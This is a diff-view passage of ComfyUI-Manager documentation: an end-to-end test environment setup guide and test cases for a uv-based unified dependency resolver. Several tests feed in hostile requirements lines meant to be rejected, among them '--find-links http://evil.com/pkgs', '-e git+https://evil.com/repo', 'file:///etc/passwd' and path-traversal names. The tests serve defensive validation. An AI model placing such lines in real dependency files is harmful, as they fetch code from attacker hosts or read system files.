| Legacy `execute_install_script()` (2 locations) | `legacy/manager_core.py` | ❌ No | Legacy paths |
| `cm_cli uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Standalone CLI batch resolution (with `cm_global` values) |
| `cm_cli install --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all installs |
| `cm_cli reinstall --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all reinstalls; mutually exclusive with `--no-deps` |
| `cm_cli update --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during updates, batch resolution after |
| `cm_cli fix --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during dep fix, batch resolution after |
| `cm_cli restore-snapshot --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during restore, batch resolution after |
| `cm_cli restore-dependencies --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all node deps restored |
| `cm_cli install-deps --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after deps-spec install |
+194
View File
@@ -0,0 +1,194 @@
# Test Environment Setup
Procedures for setting up a ComfyUI environment with ComfyUI-Manager installed for functional testing.
## Automated Setup (Recommended)
Three shell scripts in `tests/e2e/scripts/` automate the entire lifecycle:
```bash
# 1. Setup: clone ComfyUI, create venv, install deps, symlink Manager
E2E_ROOT=/tmp/e2e_test MANAGER_ROOT=/path/to/comfyui-manager-draft4 \
bash tests/e2e/scripts/setup_e2e_env.sh
# 2. Start: launches ComfyUI in background, blocks until ready
E2E_ROOT=/tmp/e2e_test bash tests/e2e/scripts/start_comfyui.sh
# 3. Stop: graceful SIGTERM → SIGKILL shutdown
E2E_ROOT=/tmp/e2e_test bash tests/e2e/scripts/stop_comfyui.sh
# 4. Cleanup
rm -rf /tmp/e2e_test
```
### Script Details
| Script | Purpose | Input | Output |
|--------|---------|-------|--------|
| `setup_e2e_env.sh` | Full environment setup (8 steps) | `E2E_ROOT`, `MANAGER_ROOT`, `COMFYUI_BRANCH` (default: master), `PYTHON` (default: python3) | `E2E_ROOT=<path>` on last line |
| `start_comfyui.sh` | Foreground-blocking launcher | `E2E_ROOT`, `PORT` (default: 8199), `TIMEOUT` (default: 120s) | `COMFYUI_PID=<pid> PORT=<port>` |
| `stop_comfyui.sh` | Graceful shutdown | `E2E_ROOT`, `PORT` (default: 8199) | — |
**Idempotent**: `setup_e2e_env.sh` checks for a `.e2e_setup_complete` marker file and skips setup if the environment already exists.
**Blocking mechanism**: `start_comfyui.sh` uses `tail -n +1 -f | grep -q -m1 'To see the GUI'` to block until ComfyUI is ready. No polling loop needed.
---
## Prerequisites
- Python 3.9+
- Git
- `uv` (install via `pip install uv` or [standalone](https://docs.astral.sh/uv/getting-started/installation/))
## Manual Setup (Reference)
For understanding or debugging, the manual steps are documented below. The automated scripts execute these same steps.
### 1. ComfyUI Clone
```bash
COMFY_ROOT=$(mktemp -d)/ComfyUI
git clone https://github.com/comfyanonymous/ComfyUI.git "$COMFY_ROOT"
cd "$COMFY_ROOT"
```
### 2. Virtual Environment
```bash
cd "$COMFY_ROOT"
uv venv .venv
source .venv/bin/activate # Linux/macOS
# .venv\Scripts\activate # Windows
```
### 3. ComfyUI Dependencies
```bash
# GPU (CUDA)
uv pip install -r requirements.txt --extra-index-url https://download.pytorch.org/whl/cu121
# CPU only (lightweight, for functional testing)
uv pip install -r requirements.txt --extra-index-url https://download.pytorch.org/whl/cpu
```
### 4. ComfyUI-Manager Install (Development)
```bash
# MANAGER_ROOT = comfyui-manager-draft4 repository root
MANAGER_ROOT=/path/to/comfyui-manager-draft4
# Editable install from current source
uv pip install -e "$MANAGER_ROOT"
```
> **Note**: Editable mode (`-e`) reflects code changes without reinstalling.
> For production-like testing, use `uv pip install "$MANAGER_ROOT"` (non-editable).
### 5. Symlink Manager into custom_nodes
```bash
ln -s "$MANAGER_ROOT" "$COMFY_ROOT/custom_nodes/ComfyUI-Manager"
```
### 6. Write config.ini
```bash
mkdir -p "$COMFY_ROOT/user/__manager"
cat > "$COMFY_ROOT/user/__manager/config.ini" << 'EOF'
[default]
use_uv = true
use_unified_resolver = true
EOF
```
> **IMPORTANT**: The config path is `$COMFY_ROOT/user/__manager/config.ini`, resolved by `folder_paths.get_system_user_directory("manager")`. It is NOT inside the symlinked Manager directory.
### 7. HOME Isolation
```bash
export HOME=/tmp/e2e_home
mkdir -p "$HOME/.config" "$HOME/.local/share"
```
### 8. ComfyUI Launch
```bash
cd "$COMFY_ROOT"
PYTHONUNBUFFERED=1 python main.py --enable-manager --cpu --port 8199
```
| Flag | Purpose |
|------|---------|
| `--enable-manager` | Enable ComfyUI-Manager (disabled by default) |
| `--cpu` | Run without GPU (for functional testing) |
| `--port 8199` | Use non-default port to avoid conflicts |
| `--enable-manager-legacy-ui` | Enable legacy UI (optional) |
| `--listen` | Allow remote connections (optional) |
### Key Directories
| Directory | Path | Description |
|-----------|------|-------------|
| ComfyUI root | `$COMFY_ROOT/` | ComfyUI installation root |
| Manager data | `$COMFY_ROOT/user/__manager/` | Manager config, startup scripts, snapshots |
| Config file | `$COMFY_ROOT/user/__manager/config.ini` | Manager settings (`use_uv`, `use_unified_resolver`, etc.) |
| custom_nodes | `$COMFY_ROOT/custom_nodes/` | Installed node packs |
> The Manager data path is resolved via `folder_paths.get_system_user_directory("manager")`.
> Printed at startup: `** ComfyUI-Manager config path: <path>/config.ini`
### Startup Sequence
When Manager loads successfully, the following log lines appear:
```
[PRE] ComfyUI-Manager # prestartup_script.py executed
[START] ComfyUI-Manager # manager_server.py loaded
```
The `Blocked by policy` message for Manager in custom_nodes is **expected**`should_be_disabled()` in `comfyui_manager/__init__.py` prevents legacy double-loading when Manager is already pip-installed.
---
## Caveats & Known Issues
### PYTHONPATH for `comfy` imports
ComfyUI's `comfy` package is a **local package** inside the ComfyUI directory — it is NOT pip-installed. Any code that imports from `comfy` (including `comfyui_manager.__init__`) requires `PYTHONPATH` to include the ComfyUI directory:
```bash
PYTHONPATH="$COMFY_ROOT" python -c "import comfy"
PYTHONPATH="$COMFY_ROOT" python -c "import comfyui_manager"
```
The automated scripts handle this via `PYTHONPATH` in verification checks and the ComfyUI process inherits it implicitly by running from the ComfyUI directory.
### config.ini path
The config file must be at `$COMFY_ROOT/user/__manager/config.ini`, **NOT** inside the Manager symlink directory. This is resolved by `folder_paths.get_system_user_directory("manager")` at `prestartup_script.py:65-73`.
### Manager v4 endpoint prefix
All Manager endpoints use the `/v2/` prefix (e.g., `/v2/manager/queue/status`, `/v2/snapshot/get_current`). Paths without the prefix will return 404.
### `Blocked by policy` is expected
When Manager detects that it's loaded as a custom_node but is already pip-installed, it prints `Blocked by policy` and skips legacy loading. This is intentional behavior in `comfyui_manager/__init__.py:39-51`.
### Bash `((var++))` trap
Under `set -e`, `((0++))` evaluates the pre-increment value (0), and `(( 0 ))` returns exit code 1, killing the script. Use `var=$((var + 1))` instead.
### `git+https://` URLs in requirements.txt
Some node packs (e.g., Impact Pack's SAM2 dependency) use `git+https://github.com/...` URLs. The unified resolver correctly rejects these with "rejected path separator" — they must be installed separately.
---
## Cleanup
```bash
deactivate
rm -rf "$COMFY_ROOT"
```
+788
View File
@@ -0,0 +1,788 @@
# Test Cases: Unified Dependency Resolver
See [TEST-environment-setup.md](TEST-environment-setup.md) for environment setup.
## Enabling the Resolver
Add the following to `config.ini` (in the Manager data directory):
```ini
[default]
use_unified_resolver = true
```
> Config path: `$COMFY_ROOT/user/__manager/config.ini`
> Also printed at startup: `** ComfyUI-Manager config path: <path>/config.ini`
**Log visibility note**: `[UnifiedDepResolver]` messages are emitted via Python's `logging` module (INFO and WARNING levels), not `print()`. Ensure the logging level is set to INFO or lower. ComfyUI defaults typically show these, but if messages are missing, check that the root logger or the `ComfyUI-Manager` logger is not set above INFO.
## API Reference (for Runtime Tests)
Node pack installation at runtime uses the task queue API:
```
POST http://localhost:8199/v2/manager/queue/task
Content-Type: application/json
```
> **Port**: E2E tests use port 8199 to avoid conflicts with running ComfyUI instances. Replace with your actual port if different.
**Payload** (`QueueTaskItem`):
| Field | Type | Description |
|-------|------|-------------|
| `ui_id` | string | Unique task identifier (any string) |
| `client_id` | string | Client identifier (any string) |
| `kind` | `OperationType` enum | `"install"`, `"uninstall"`, `"update"`, `"update-comfyui"`, `"fix"`, `"disable"`, `"enable"`, `"install-model"` |
| `params` | object | Operation-specific parameters (see below) |
**Install params** (`InstallPackParams`):
| Field | Type | Description |
|-------|------|-------------|
| `id` | string | CNR node pack ID (e.g., `"comfyui-impact-pack"`) or `"author/repo"` |
| `version` | string | Required by model. Set to same value as `selected_version`. |
| `selected_version` | string | **Controls install target**: `"latest"`, `"nightly"`, or specific semver |
| `mode` | string | `"remote"`, `"local"`, or `"cache"` |
| `channel` | string | `"default"`, `"recent"`, `"legacy"`, etc. |
> **Note**: `cm_cli` supports unified resolver via `cm_cli uv-compile` (standalone) and
> `cm_cli install --uv-compile` (install-time batch resolution). Without `--uv-compile`,
> installs use per-node pip via `legacy/manager_core.py`.
---
## Out of Scope (Deferred)
The following are intentionally **not tested** in this version:
- **cm_global integration (startup path only)**: At startup (`prestartup_script.py`), `pip_blacklist`, `pip_overrides`, `pip_downgrade_blacklist` are passed as empty defaults to the resolver. Integration with cm_global at startup is deferred to a future commit. Do not file defects for blacklist/override/downgrade behavior in startup unified mode. Note: `cm_cli uv-compile` and `cm_cli install --uv-compile` already pass real `cm_global` values (see PRD Future Extensions).
- **cm_cli per-node install (without --uv-compile)**: `cm_cli install` without `--uv-compile` imports from `legacy/manager_core.py` and uses per-node pip install. This is by design — use `cm_cli install --uv-compile` or `cm_cli uv-compile` for batch resolution.
- **Standalone `execute_install_script()`** (`glob/manager_core.py` ~line 1881): Has a unified resolver guard (`manager_util.use_unified_resolver`), identical to the class method guard. Reachable from the glob API via `update-comfyui` tasks (`update_path()` / `update_to_stable_comfyui()`), git-based node pack updates (`git_repo_update_check_with()` / `fetch_or_pull_git_repo()`), and gitclone operations. Also called from CLI and legacy server paths. The guard behaves identically to the class method at all call sites; testing it separately adds no coverage beyond TC-14 Path 1.
## CLI E2E Tests (`cm_cli uv-compile`)
These tests do **not** require ComfyUI server. Only a venv with `COMFYUI_PATH` set and
the E2E environment from `setup_e2e_env.sh` are needed.
**Common setup**:
```bash
source tests/e2e/scripts/setup_e2e_env.sh # → E2E_ROOT=...
export COMFYUI_PATH="$E2E_ROOT/comfyui"
VENV_PY="$E2E_ROOT/venv/bin/python"
```
---
### TC-CLI-1: Normal Batch Resolution [P0]
**Steps**:
1. Create a test node pack with a simple dependency:
```bash
mkdir -p "$COMFYUI_PATH/custom_nodes/test_cli_pack"
echo "chardet>=5.0" > "$COMFYUI_PATH/custom_nodes/test_cli_pack/requirements.txt"
```
2. Run:
```bash
$VENV_PY -m cm_cli uv-compile
```
**Verify**:
- Exit code: 0
- Output contains: `Resolved N deps from M source(s)`
- `chardet` is importable: `$VENV_PY -c "import chardet"`
**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/test_cli_pack"`
---
### TC-CLI-2: No Custom Node Packs [P1]
**Steps**:
1. Ensure `custom_nodes/` contains no node packs (only symlinks like `ComfyUI-Manager`
or empty dirs may remain)
2. Run:
```bash
$VENV_PY -m cm_cli uv-compile
```
**Verify**:
- Exit code: 0
- Output contains: `No custom node packs found` OR `Resolution complete (no deps needed)`
---
### TC-CLI-3: uv Unavailable [P0]
**Steps**:
1. Create a temporary venv **without** uv:
```bash
python3 -m venv /tmp/no_uv_venv
/tmp/no_uv_venv/bin/pip install comfyui-manager # or install from local
```
2. Ensure no standalone `uv` in PATH:
```bash
PATH="/tmp/no_uv_venv/bin" COMFYUI_PATH="$COMFYUI_PATH" \
/tmp/no_uv_venv/bin/python -m cm_cli uv-compile
```
**Verify**:
- Exit code: 1
- Output contains: `uv is not available`
**Cleanup**: `rm -rf /tmp/no_uv_venv`
---
### TC-CLI-4: Conflicting Dependencies [P0]
**Steps**:
1. Create two node packs with conflicting pinned versions:
```bash
mkdir -p "$COMFYUI_PATH/custom_nodes/conflict_a"
echo "numpy==1.24.0" > "$COMFYUI_PATH/custom_nodes/conflict_a/requirements.txt"
mkdir -p "$COMFYUI_PATH/custom_nodes/conflict_b"
echo "numpy==1.26.0" > "$COMFYUI_PATH/custom_nodes/conflict_b/requirements.txt"
```
2. Run:
```bash
$VENV_PY -m cm_cli uv-compile
```
**Verify**:
- Exit code: 1
- Output contains: `Resolution failed`
**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/conflict_a" "$COMFYUI_PATH/custom_nodes/conflict_b"`
---
### TC-CLI-5: Dangerous Pattern Skip [P0]
**Steps**:
1. Create a node pack mixing valid and dangerous lines:
```bash
mkdir -p "$COMFYUI_PATH/custom_nodes/test_dangerous"
cat > "$COMFYUI_PATH/custom_nodes/test_dangerous/requirements.txt" << 'EOF'
chardet>=5.0
-r ../../../etc/hosts
--find-links http://evil.com/pkgs
requests>=2.28
EOF
```
2. Run:
```bash
$VENV_PY -m cm_cli uv-compile
```
**Verify**:
- Exit code: 0
- Output contains: `Resolved 2 deps` (chardet + requests, dangerous lines skipped)
- `chardet` and `requests` are importable
- Log contains: `rejected dangerous line` for the `-r` and `--find-links` lines
**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/test_dangerous"`
---
### TC-CLI-6: install --uv-compile Single Pack [P0]
**Steps**:
1. In clean E2E environment, install a single node pack:
```bash
$VENV_PY -m cm_cli install comfyui-impact-pack --uv-compile --mode remote
```
**Verify**:
- Exit code: 0
- Per-node pip install does NOT run (no `Install: pip packages` in output)
- `install.py` still executes
- Output contains: `Resolved N deps from M source(s)`
- Impact Pack dependencies are importable: `cv2`, `skimage`, `dill`, `scipy`, `matplotlib`
---
### TC-CLI-7: install --uv-compile Multiple Packs [P0]
**Steps**:
1. After TC-CLI-6 (or with impact-pack already installed), install two more packs at once:
```bash
$VENV_PY -m cm_cli install comfyui-impact-subpack comfyui-inspire-pack --uv-compile --mode remote
```
**Verify**:
- Exit code: 0
- Both packs installed: `[INSTALLED] comfyui-impact-subpack`, `[INSTALLED] comfyui-inspire-pack`
- Batch resolution runs once (not twice) after all installs complete
- Resolves deps for **all** installed packs (impact + subpack + inspire + manager)
- New dependencies importable: `cachetools`, `webcolors`, `piexif`
- Previously installed deps (from step 1) remain intact
---
## Test Fixture Setup
Each TC that requires node packs should use isolated, deterministic fixtures:
```bash
# Create test node pack
mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_a"
echo "chardet>=5.0" > "$COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt"
# Cleanup after test
rm -rf "$COMFY_ROOT/custom_nodes/test_pack_a"
```
Ensure no other node packs in `custom_nodes/` interfere with expected counts. Use a clean `custom_nodes/` directory or account for existing packs in assertions.
---
## TC-1: Normal Batch Resolution [P0]
**Precondition**: `use_unified_resolver = true`, uv installed, at least one node pack with `requirements.txt`
**Steps**:
1. Create `$COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt` with content: `chardet>=5.0`
2. Start ComfyUI
**Expected log**:
```
[UnifiedDepResolver] Collected N deps from M sources (skipped 0)
[UnifiedDepResolver] running: ... uv pip compile ...
[UnifiedDepResolver] running: ... uv pip install ...
[UnifiedDepResolver] startup batch resolution succeeded
```
**Verify**: Neither `Install: pip packages for` nor `Install: pip packages` appears in output (both per-node pip variants must be absent)
---
## TC-2: Disabled State (Default) [P1]
**Precondition**: `use_unified_resolver = false` or key absent from config.ini
**Steps**: Start ComfyUI
**Verify**: No `[UnifiedDepResolver]` log output at all
---
## TC-3: Fallback When uv Unavailable [P0]
**Precondition**: `use_unified_resolver = true`, uv completely unavailable
**Steps**:
1. Create a venv **without** uv installed (`uv` package not in venv)
2. Ensure no standalone `uv` binary exists in `$PATH` (rename or use isolated `$PATH`)
3. Start ComfyUI
```bash
# Reliable uv removal: both module and binary must be absent
uv pip uninstall uv
# Verify neither path works
python -m uv --version 2>&1 | grep -q "No module" && echo "module uv: absent"
which uv 2>&1 | grep -q "not found" && echo "binary uv: absent"
```
**Expected log**:
```
[UnifiedDepResolver] uv not available at startup, falling back to per-node pip
```
**Verify**:
- `manager_util.use_unified_resolver` is reset to `False`
- Subsequent node pack installations use per-node pip install normally
---
## TC-4: Fallback on Compile Failure [P0]
**Precondition**: `use_unified_resolver = true`, conflicting dependencies
**Steps**:
1. Node pack A `requirements.txt`: `numpy==1.24.0`
2. Node pack B `requirements.txt`: `numpy==1.26.0`
3. Start ComfyUI
**Expected log**:
```
[UnifiedDepResolver] startup batch failed: compile failed: ..., falling back to per-node pip
```
**Verify**:
- `manager_util.use_unified_resolver` is reset to `False`
- Falls back to per-node pip install normally
---
## TC-5: Fallback on Install Failure [P0]
**Precondition**: `use_unified_resolver = true`, compile succeeds but install fails
**Steps**:
1. Create node pack with `requirements.txt`: `numpy<2`
2. Force install failure by making the venv's `site-packages` read-only:
```bash
chmod -R a-w "$(python -c 'import site; print(site.getsitepackages()[0])')"
```
3. Start ComfyUI
4. After test, restore permissions:
```bash
chmod -R u+w "$(python -c 'import site; print(site.getsitepackages()[0])')"
```
**Expected log**:
```
[UnifiedDepResolver] startup batch failed: ..., falling back to per-node pip
```
> The `...` contains raw stderr from `uv pip install` (e.g., permission denied errors).
**Verify**:
- `manager_util.use_unified_resolver` is reset to `False`
- Falls back to per-node pip install
---
## TC-6: install.py Execution Preserved [P0]
**Precondition**: `use_unified_resolver = true`, ComfyUI running with batch resolution succeeded
**Steps**:
1. While ComfyUI is running, install a node pack that has both `install.py` and `requirements.txt` via API:
```bash
curl -X POST http://localhost:8199/v2/manager/queue/task \
-H "Content-Type: application/json" \
-d '{
"ui_id": "test-installpy",
"client_id": "test-client",
"kind": "install",
"params": {
"id": "<node-pack-id-with-install-py>",
"version": "latest",
"selected_version": "latest",
"mode": "remote",
"channel": "default"
}
}'
```
> Choose a CNR node pack known to have both `install.py` and `requirements.txt`.
> Alternatively, use the Manager UI to install the same pack.
2. Check logs after installation
**Verify**:
- `Install: install script` is printed (install.py runs immediately during install)
- `Install: pip packages` does NOT appear (deps deferred, not installed per-node)
- Log: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>`
- After **restart**, the new pack's deps are included in batch resolution (`Collected N deps from M sources`)
---
## TC-7: Dangerous Pattern Rejection [P0]
**Precondition**: `use_unified_resolver = true`
**Steps**: Include any of the following in a node pack's `requirements.txt`:
```
-r ../../../etc/hosts
--requirement secret.txt
-e git+https://evil.com/repo
--editable ./local
-c constraint.txt
--constraint external.txt
--find-links http://evil.com/pkgs
-f http://evil.com/pkgs
evil_pkg @ file:///etc/passwd
```
**Expected log**:
```
[UnifiedDepResolver] rejected dangerous line: '...' from <path>
```
**Verify**: Dangerous lines are skipped; remaining valid deps are installed normally
---
## TC-8: Path Separator Rejection [P0]
**Precondition**: `use_unified_resolver = true`
**Steps**: Node pack `requirements.txt`:
```
../evil/pkg
bad\pkg
./local_package
```
**Expected log**:
```
[UnifiedDepResolver] rejected path separator: '...' from <path>
```
**Verify**: Lines with `/` or `\` in the package name portion are rejected; valid deps on other lines are processed normally
---
## TC-9: --index-url / --extra-index-url Separation [P0]
**Precondition**: `use_unified_resolver = true`
Test all four inline forms:
| # | `requirements.txt` content | Expected package | Expected URL |
|---|---------------------------|-----------------|--------------|
| a | `torch --index-url https://example.com/whl` | `torch` | `https://example.com/whl` |
| b | `torch --extra-index-url https://example.com/whl` | `torch` | `https://example.com/whl` |
| c | `--index-url https://example.com/whl` (standalone) | *(none)* | `https://example.com/whl` |
| d | `--extra-index-url https://example.com/whl` (standalone) | *(none)* | `https://example.com/whl` |
**Steps**: Create a node pack with each variant (one at a time or combined with a valid package on a separate line)
**Verify**:
- Package spec is correctly extracted (or empty for standalone lines)
- URL is passed as `--extra-index-url` to `uv pip compile`
- Duplicate URLs across multiple node packs are deduplicated
- Log: `[UnifiedDepResolver] extra-index-url: <url>`
---
## TC-10: Credential Redaction [P0]
**Precondition**: `use_unified_resolver = true`
**Steps**: Node pack `requirements.txt`:
```
private-pkg --index-url https://user:token123@pypi.private.com/simple
```
**Verify**:
- `user:token123` does NOT appear in logs
- Masked as `****@` in log output
---
## TC-11: Disabled Node Packs Excluded [P1]
**Precondition**: `use_unified_resolver = true`
**Steps**: Test both disabled styles:
1. New style: `custom_nodes/.disabled/test_pack/requirements.txt` with content: `numpy`
2. Old style: `custom_nodes/test_pack.disabled/requirements.txt` with content: `requests`
3. Start ComfyUI
**Verify**: Neither disabled node pack's deps are collected (not included in `Collected N`)
---
## TC-12: No Dependencies [P2]
**Precondition**: `use_unified_resolver = true`, only node packs without `requirements.txt`
**Steps**: Start ComfyUI
**Expected log**:
```
[UnifiedDepResolver] No dependencies to resolve
```
**Verify**: Compile/install steps are skipped; startup completes normally
---
## TC-13: Runtime Node Pack Install (Defer Behavior) [P1]
**Precondition**: `use_unified_resolver = true`, batch resolution succeeded at startup
**Steps**:
1. Start ComfyUI and confirm batch resolution succeeds
2. While ComfyUI is running, install a new node pack via API:
```bash
curl -X POST http://localhost:8199/v2/manager/queue/task \
-H "Content-Type: application/json" \
-d '{
"ui_id": "test-defer-1",
"client_id": "test-client",
"kind": "install",
"params": {
"id": "<node-pack-id>",
"version": "latest",
"selected_version": "latest",
"mode": "remote",
"channel": "default"
}
}'
```
> Replace `<node-pack-id>` with a real CNR node pack ID (e.g., from the Manager UI).
> Alternatively, use the Manager UI to install a node pack.
3. Check logs after installation
**Verify**:
- Log: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>`
- `Install: pip packages` does NOT appear
- After ComfyUI **restart**, the new node pack's deps are included in batch resolution
---
## TC-14: Both Unified Resolver Code Paths [P0]
Verify both code locations that guard per-node pip install behave correctly in unified mode:
| Path | Guard Variable | Trigger | Location |
|------|---------------|---------|----------|
| Runtime install | `manager_util.use_unified_resolver` | API install while ComfyUI is running | `glob/manager_core.py` class method (~line 846) |
| Startup lazy install | `_unified_resolver_succeeded` | Queued install processed at restart | `prestartup_script.py` `execute_lazy_install_script()` (~line 594) |
> **Note**: The standalone `execute_install_script()` in `glob/manager_core.py` (~line 1881) also has a unified resolver guard but is reachable via `update-comfyui`, git-based node pack updates, gitclone operations, CLI, and legacy server paths. The guard is identical to the class method; see [Out of Scope](#out-of-scope-deferred).
**Steps**:
**Path 1 — Runtime API install (class method)**:
```bash
# While ComfyUI is running:
curl -X POST http://localhost:8199/v2/manager/queue/task \
-H "Content-Type: application/json" \
-d '{
"ui_id": "test-path1",
"client_id": "test-client",
"kind": "install",
"params": {
"id": "<node-pack-id>",
"version": "latest",
"selected_version": "latest",
"mode": "remote",
"channel": "default"
}
}'
```
> Choose a CNR node pack that has both `install.py` and `requirements.txt`.
**Path 2 — Startup lazy install (`execute_lazy_install_script`)**:
1. Create a test node pack with both `install.py` and `requirements.txt`:
```bash
mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_lazy"
echo 'print("lazy install.py executed")' > "$COMFY_ROOT/custom_nodes/test_pack_lazy/install.py"
echo "chardet" > "$COMFY_ROOT/custom_nodes/test_pack_lazy/requirements.txt"
```
2. Manually inject a `#LAZY-INSTALL-SCRIPT` entry into `install-scripts.txt`:
```bash
SCRIPTS_DIR="$COMFY_ROOT/user/__manager/startup-scripts"
mkdir -p "$SCRIPTS_DIR"
PYTHON_PATH=$(which python)
echo "['$COMFY_ROOT/custom_nodes/test_pack_lazy', '#LAZY-INSTALL-SCRIPT', '$PYTHON_PATH']" \
>> "$SCRIPTS_DIR/install-scripts.txt"
```
3. Start ComfyUI (with `use_unified_resolver = true`)
**Verify**:
- Path 1: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>` appears, `install.py` runs immediately, `Install: pip packages` does NOT appear
- Path 2: `lazy install.py executed` is printed (install.py runs at startup), `Install: pip packages for` does NOT appear for the pack (skipped because `_unified_resolver_succeeded` is True after batch resolution)
---
## TC-15: Behavior After Fallback in Same Process [P1]
**Precondition**: Resolver failed at startup (TC-4 or TC-5 scenario)
**Steps**:
1. Set up conflicting deps (as in TC-4) and start ComfyUI (resolver fails, flag reset to `False`)
2. While still running, install a new node pack via API:
```bash
curl -X POST http://localhost:8199/v2/manager/queue/task \
-H "Content-Type: application/json" \
-d '{
"ui_id": "test-postfallback",
"client_id": "test-client",
"kind": "install",
"params": {
"id": "<node-pack-id>",
"version": "latest",
"selected_version": "latest",
"mode": "remote",
"channel": "default"
}
}'
```
**Verify**:
- New node pack uses per-node pip install (not deferred)
- `Install: pip packages` appears normally
- On next restart with conflicts resolved, unified resolver retries if config still `true`
---
## TC-16: Generic Exception Fallback [P1]
**Precondition**: `use_unified_resolver = true`, an exception escapes before `resolve_and_install()`
This covers the `except Exception` handler at `prestartup_script.py` (~line 793), distinct from `UvNotAvailableError` (TC-3) and `ResolveResult` failure (TC-4/TC-5). The generic handler catches errors in the import, `collect_node_pack_paths()`, `collect_base_requirements()`, or `UnifiedDepResolver.__init__()` — all of which run before the resolver's own internal error handling.
**Steps**:
1. Make the `custom_nodes` directory unreadable so `collect_node_pack_paths()` raises a `PermissionError`:
```bash
chmod a-r "$COMFY_ROOT/custom_nodes"
```
2. Start ComfyUI
3. After test, restore permissions:
```bash
chmod u+r "$COMFY_ROOT/custom_nodes"
```
**Expected log**:
```
[UnifiedDepResolver] startup error: ..., falling back to per-node pip
```
**Verify**:
- `manager_util.use_unified_resolver` is reset to `False`
- Falls back to per-node pip install normally
- Log pattern is `startup error:` (NOT `startup batch failed:` nor `uv not available`)
---
## TC-17: Restart Dependency Detection [P0]
**Precondition**: `use_unified_resolver = true`, automated E2E scripts available
This test verifies that the resolver correctly detects and installs dependencies for node packs added between restarts, incrementally building the dependency set.
**Steps**:
1. Boot ComfyUI with no custom node packs (Boot 1 — baseline)
2. Verify baseline deps only (Manager's own deps)
3. Stop ComfyUI
4. Clone `ComfyUI-Impact-Pack` into `custom_nodes/`
5. Restart ComfyUI (Boot 2)
6. Verify Impact Pack deps are installed (`cv2`, `skimage`, `dill`, `scipy`, `matplotlib`)
7. Stop ComfyUI
8. Clone `ComfyUI-Inspire-Pack` into `custom_nodes/`
9. Restart ComfyUI (Boot 3)
10. Verify Inspire Pack deps are installed (`cachetools`, `webcolors`)
**Expected log (each boot)**:
```
[UnifiedDepResolver] Collected N deps from M sources (skipped S)
[UnifiedDepResolver] running: ... uv pip compile ...
[UnifiedDepResolver] running: ... uv pip install ...
[UnifiedDepResolver] startup batch resolution succeeded
```
**Verify**:
- Boot 1: ~10 deps from ~10 sources; `cv2`, `dill`, `cachetools` are NOT installed
- Boot 2: ~19 deps from ~18 sources; `cv2`, `skimage`, `dill`, `scipy`, `matplotlib` all importable
- Boot 3: ~24 deps from ~21 sources; `cachetools`, `webcolors` also importable
- Both packs show as loaded in logs
**Automation**: Use `tests/e2e/scripts/` (setup → start → stop) with node pack cloning between boots.
---
## TC-18: Real Node Pack Integration [P0]
**Precondition**: `use_unified_resolver = true`, network access to GitHub + PyPI
Full pipeline test with real-world node packs (`ComfyUI-Impact-Pack` + `ComfyUI-Inspire-Pack`) to verify the resolver handles production requirements.txt files correctly.
**Steps**:
1. Set up E2E environment
2. Clone both Impact Pack and Inspire Pack into `custom_nodes/`
3. Direct-mode: instantiate `UnifiedDepResolver`, call `collect_requirements()` and `resolve_and_install()`
4. Boot-mode: start ComfyUI and verify via logs
**Expected behavior (direct mode)**:
```
--- Discovered node packs (3) --- # Manager, Impact, Inspire
ComfyUI-Impact-Pack
ComfyUI-Inspire-Pack
ComfyUI-Manager
--- Phase 1: Collect Requirements ---
Total requirements: ~24
Skipped: 1 # SAM2 git+https:// URL
Extra index URLs: set()
```
**Verify**:
- `git+https://github.com/facebookresearch/sam2.git` is correctly rejected with "rejected path separator"
- All other dependencies are collected and resolved
- After install, `cv2`, `PIL`, `scipy`, `skimage`, `matplotlib` are all importable
- No conflicting version errors during compile
**Automation**: Use `tests/e2e/scripts/` (setup → clone packs → start) with direct-mode resolver invocation.
---
## Validated Behaviors (from E2E Testing)
The following behaviors were confirmed during manual E2E testing:
### Resolver Pipeline
- **3-phase pipeline**: Collect → `uv pip compile``uv pip install` works end-to-end
- **Incremental detection**: Resolver discovers new node packs on each restart without reinstalling existing deps
- **Dependency deduplication**: Overlapping deps from multiple packs are resolved to compatible versions
### Security & Filtering
- **`git+https://` rejection**: URLs like `git+https://github.com/facebookresearch/sam2.git` are rejected with "rejected path separator" — SAM2 is the only dependency skipped from Impact Pack
- **Blacklist filtering**: `PackageRequirement` objects have `.name`, `.spec`, `.source` attributes; `collected.skipped` returns `[(spec_string, reason_string)]` tuples
### Manager Integration
- **Manager v4 endpoints**: All endpoints use `/v2/` prefix (e.g., `/v2/manager/queue/status`)
- **`Blocked by policy`**: Expected when Manager is pip-installed and also symlinked in `custom_nodes/`; prevents legacy double-loading
- **config.ini path**: Must be at `$COMFY_ROOT/user/__manager/config.ini`, not in the symlinked Manager dir
### Environment
- **PYTHONPATH requirement**: `comfy` is a local package (not pip-installed); `comfyui_manager` imports from `comfy`, so both require `PYTHONPATH=$COMFY_ROOT`
- **HOME isolation**: `HOME=$E2E_ROOT/home` prevents host config contamination during boot
---
## Summary
| TC | P | Scenario | Key Verification |
|----|---|----------|------------------|
| 1 | P0 | Normal batch resolution | compile → install pipeline |
| 2 | P1 | Disabled state | No impact on existing behavior |
| 3 | P0 | uv unavailable fallback | Flag reset + per-node resume |
| 4 | P0 | Compile failure fallback | Flag reset + per-node resume |
| 5 | P0 | Install failure fallback | Flag reset + per-node resume |
| 6 | P0 | install.py preserved | deps defer, install.py immediate |
